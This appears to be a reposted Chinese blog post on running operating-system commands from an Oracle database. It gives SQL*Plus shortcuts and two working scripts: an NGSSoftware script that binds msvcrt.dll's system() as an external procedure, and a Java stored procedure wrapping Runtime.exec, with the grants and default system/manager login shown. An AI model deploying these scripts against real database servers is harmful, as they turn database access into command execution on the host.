zoukankan      html  css  js  c++  java
  • oracle执行cmd的实现方法

    不过有一个简单的执行cmd命令方法:
    SQL> host net user
    User accounts for \\PC-ATQHJ4UG1SDA
    ----------------------------------------------------------------------------
    __vmware_user__ admin Administrator
    ASPNET Guest IUSR_PC-ATQHJ4UG1SDA
    IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0
    The command completed successfully.
    unix或linux下用
    ! command
    ======================补充======================
    网上的另两种方法:
    1是利用msvcrt.dll
    写一个c:\orac.sql
    内容:
    Rem
    Rem oracmd.sql
    Rem
    Rem Run system commands via Oracle database servers
    Rem
    Rem Bugs to david@ngssoftware.com
    Rem
    CREATE OR REPLACE LIBRARY exec_shell AS
    'C:\windows\system32\msvcrt.dll';
    /
    show errors
    CREATE OR REPLACE PACKAGE oracmd IS
    PROCEDURE exec (cmdstring IN CHAR);
    end oracmd;
    /
    show errors
    CREATE OR REPLACE PACKAGE BODY oracmd IS
    PROCEDURE exec(cmdstring IN CHAR)
    IS EXTERNAL
    NAME "system" LIBRARY exec_shell
    LANGUAGE C;
    end oracmd;
    /
    show errors
    然后C:\>sqlplus /nolog
    SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001
    (c) Copyright 2000 Oracle Corporation. All rights reserved.
    SQL> connect system/manager@orcl (分别是用户名密码和sid)
    Connected.
    SQL> @c:\orac.sql
    Library created.
    No errors.
    Package created.
    No errors.
    Package body created.
    No errors.
    SQL>
    SQL> exec oracmd.exec ('dir > c:\oracle.txt');
    结果在我本机出现
    第 1 行出现错误:
    ORA-28595: Extproc 代理: DLL 路径无效
    ORA-06512: 在 "SYSTEM.ORACMD", line 2
    ORA-06512: 在 line 1
    没有成功。
    第二种方法
    c:\1.sql
    create or replace and compile
    java souRCe named "util"
    as
    import java.io.*;
    import java.lang.*;
    public class util extends Object
    {
    public static int RunThis(String args)
    {
    Runtime rt = Runtime.getRuntime();
    int RC = -1;
    try
    {
    Process p = rt.exec(args);
    int bufSize = 4096;
    BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
    int len;
    byte buffer[] = new byte[bufSize];
    // Echo back what the program spit out
    while ((len = bis.read(buffer, 0, bufSize)) != -1)
    System.out.write(buffer, 0, len);
    RC = p.waitFor();
    }
    catch (Exception e)
    {
    e.printStackTrace();
    RC = -1;
    }
    finally
    {
    return RC;
    }
    }
    }
    c:\2.sql
    create or replace
    function RUN_CMz(p_cmd in varchar2) return number
    as
    language java
    name 'util.RunThis(java.lang.String) return integer';
    c:\3.sql
    create or replace procedure RC(p_cmd in varChar)
    as
    x number;
    begin
    x := RUN_CMz(p_cmd);
    end;
    登陆上去后依旧是依次执行
    SQL> @c:\1.sql
    /
    @c:\2.sql
    /
    @c:\3.sql
    /
    variable x number;
    set serveroutput on;
    exec dbms_java.set_output(100000);
    grant javasyspriv to system;
    grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)
    exec :x:=run_cmz('ipconfig'); 成功运行了命令
    测试环境win2003+oracle11g
    Original article, please indicate the source:http://develop.cnblogs.com
    Mail:NeiTe@qq.com
  • 相关阅读:
    equals与”==”的区别
    数学--数论--积性函数(初步)
    数学--数论-多重集排列组合与母函数
    数学--数论--POJ 1061青蛙的约会 (扩展欧几里得算法)
    数学--数论--POJ281(线性同余方程)
    数学--数论--HDU1222 狼和兔子(最大公约数)
    数学--数论--HDU1576 A / B(逆元)
    VScode像Codeblocks一样,不启动调试和Debug直接运行
    数学--数论--鸽巢原理
    图论--拓扑排序--模板
  • 原文地址:https://www.cnblogs.com/develop/p/1442378.html
Copyright © 2011-2022 走看看